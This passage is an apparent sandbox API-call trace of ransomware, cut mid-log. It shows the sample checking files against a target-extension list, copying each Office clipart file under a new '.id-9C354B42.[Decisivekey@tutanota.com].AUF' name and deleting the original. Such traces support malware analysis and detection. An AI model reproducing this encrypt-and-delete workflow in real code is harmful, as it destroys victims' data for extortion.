Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0218.658] lstrlenW (lpString=".1cd") returned 4 [0218.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0218.658] lstrlenW (lpString=".jpg") returned 4 [0218.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.659] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3896) returned 1 [0218.659] CloseHandle (hObject=0x224) returned 1 [0218.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0218.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0218.667] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.667] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.667] GetLastError () returned 0x0 [0218.667] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xf38, lpOverlapped=0x0) returned 1 [0218.687] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0218.688] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.688] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.688] SetEndOfFile (hFile=0x1d8) returned 1 [0218.688] CloseHandle (hObject=0x1d8) returned 1 [0218.688] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.688] SetEndOfFile (hFile=0x224) returned 1 [0218.689] CloseHandle (hObject=0x224) returned 1 [0218.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0218.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0218.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0218.689] lstrlenW (lpString=".doc") returned 4 [0218.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.689] lstrlenW (lpString=".docx") returned 5 [0218.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.689] lstrlenW (lpString=".pdf") returned 4 [0218.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.689] lstrlenW (lpString=".xls") returned 4 [0218.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.689] lstrlenW (lpString=".xlsx") returned 5 [0218.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.689] lstrlenW (lpString=".ppt") returned 4 [0218.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0218.689] lstrlenW (lpString=".zip") returned 4 [0218.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.689] lstrlenW (lpString=".rar") returned 4 [0218.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.689] lstrlenW (lpString=".bz2") returned 4 [0218.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.689] lstrlenW (lpString=".7z") returned 3 [0218.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0218.689] lstrlenW (lpString=".dbf") returned 4 [0218.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0218.690] lstrlenW (lpString=".1cd") returned 4 [0218.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 63 [0218.690] lstrlenW (lpString=".jpg") returned 4 [0218.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.696] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.696] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.696] GetLastError () returned 0x0 [0218.696] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1c08, lpOverlapped=0x0) returned 1 [0218.705] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0218.706] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.706] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.706] SetEndOfFile (hFile=0x1d8) returned 1 [0218.706] CloseHandle (hObject=0x1d8) returned 1 [0218.706] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.706] SetEndOfFile (hFile=0x224) returned 1 [0218.707] CloseHandle (hObject=0x224) returned 1 [0218.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0218.708] lstrlenW (lpString=".doc") returned 4 [0218.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString=".docx") returned 5 [0218.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.708] lstrlenW (lpString=".pdf") returned 4 [0218.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString=".xls") returned 4 [0218.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.708] lstrlenW (lpString=".xlsx") returned 5 [0218.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.708] lstrlenW (lpString=".ppt") returned 4 [0218.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0218.708] lstrlenW (lpString=".zip") returned 4 [0218.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.708] lstrlenW (lpString=".rar") returned 4 [0218.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString=".bz2") returned 4 [0218.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString=".7z") returned 3 [0218.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0218.708] lstrlenW (lpString=".dbf") returned 4 [0218.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0218.708] lstrlenW (lpString=".1cd") returned 4 [0218.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63 [0218.709] lstrlenW (lpString=".jpg") returned 4 [0218.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.709] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=14996) returned 1 [0218.709] CloseHandle (hObject=0x224) returned 1 [0218.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0218.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0218.709] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.709] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.710] GetLastError () returned 0x0 [0218.710] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0218.711] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0218.712] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.712] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.712] SetEndOfFile (hFile=0x1d8) returned 1 [0218.712] CloseHandle (hObject=0x1d8) returned 1 [0218.712] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.712] SetEndOfFile (hFile=0x224) returned 1 [0218.713] CloseHandle (hObject=0x224) returned 1 [0218.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0218.714] lstrlenW (lpString=".doc") returned 4 [0218.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString=".docx") returned 5 [0218.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.714] lstrlenW (lpString=".pdf") returned 4 [0218.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString=".xls") returned 4 [0218.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.714] lstrlenW (lpString=".xlsx") returned 5 [0218.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.714] lstrlenW (lpString=".ppt") returned 4 [0218.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0218.714] lstrlenW (lpString=".zip") returned 4 [0218.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.714] lstrlenW (lpString=".rar") returned 4 [0218.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString=".bz2") returned 4 [0218.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString=".7z") returned 3 [0218.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0218.714] lstrlenW (lpString=".dbf") returned 4 [0218.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0218.714] lstrlenW (lpString=".1cd") returned 4 [0218.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0218.714] lstrlenW (lpString=".jpg") returned 4 [0218.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.715] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1874) returned 1 [0218.715] CloseHandle (hObject=0x224) returned 1 [0218.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0218.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0218.716] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.716] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.717] GetLastError () returned 0x0 [0218.717] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x752, lpOverlapped=0x0) returned 1 [0218.792] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x760, lpOverlapped=0x0) returned 1 [0218.793] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.793] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.793] SetEndOfFile (hFile=0x1d8) returned 1 [0218.802] CloseHandle (hObject=0x1d8) returned 1 [0218.803] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.803] SetEndOfFile (hFile=0x224) returned 1 [0218.803] CloseHandle (hObject=0x224) returned 1 [0218.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0218.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0218.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0218.804] lstrlenW (lpString=".doc") returned 4 [0218.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString=".docx") returned 5 [0218.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.804] lstrlenW (lpString=".pdf") returned 4 [0218.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString=".xls") returned 4 [0218.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.804] lstrlenW (lpString=".xlsx") returned 5 [0218.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.804] lstrlenW (lpString=".ppt") returned 4 [0218.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0218.804] lstrlenW (lpString=".zip") returned 4 [0218.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.804] lstrlenW (lpString=".rar") returned 4 [0218.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString=".bz2") returned 4 [0218.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString=".7z") returned 3 [0218.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0218.804] lstrlenW (lpString=".dbf") returned 4 [0218.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0218.804] lstrlenW (lpString=".1cd") returned 4 [0218.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0218.804] lstrlenW (lpString=".jpg") returned 4 [0218.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.805] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2262) returned 1 [0218.805] CloseHandle (hObject=0x224) returned 1 [0218.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0218.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0218.805] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.805] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0218.806] GetLastError () returned 0x0 [0218.806] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0218.808] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0218.808] ReadFile (in: hFile=0x224, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.808] WriteFile (in: hFile=0x1d8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0218.808] SetEndOfFile (hFile=0x1d8) returned 1 [0218.808] CloseHandle (hObject=0x1d8) returned 1 [0218.809] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.809] SetEndOfFile (hFile=0x224) returned 1 [0218.809] CloseHandle (hObject=0x224) returned 1 [0218.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft 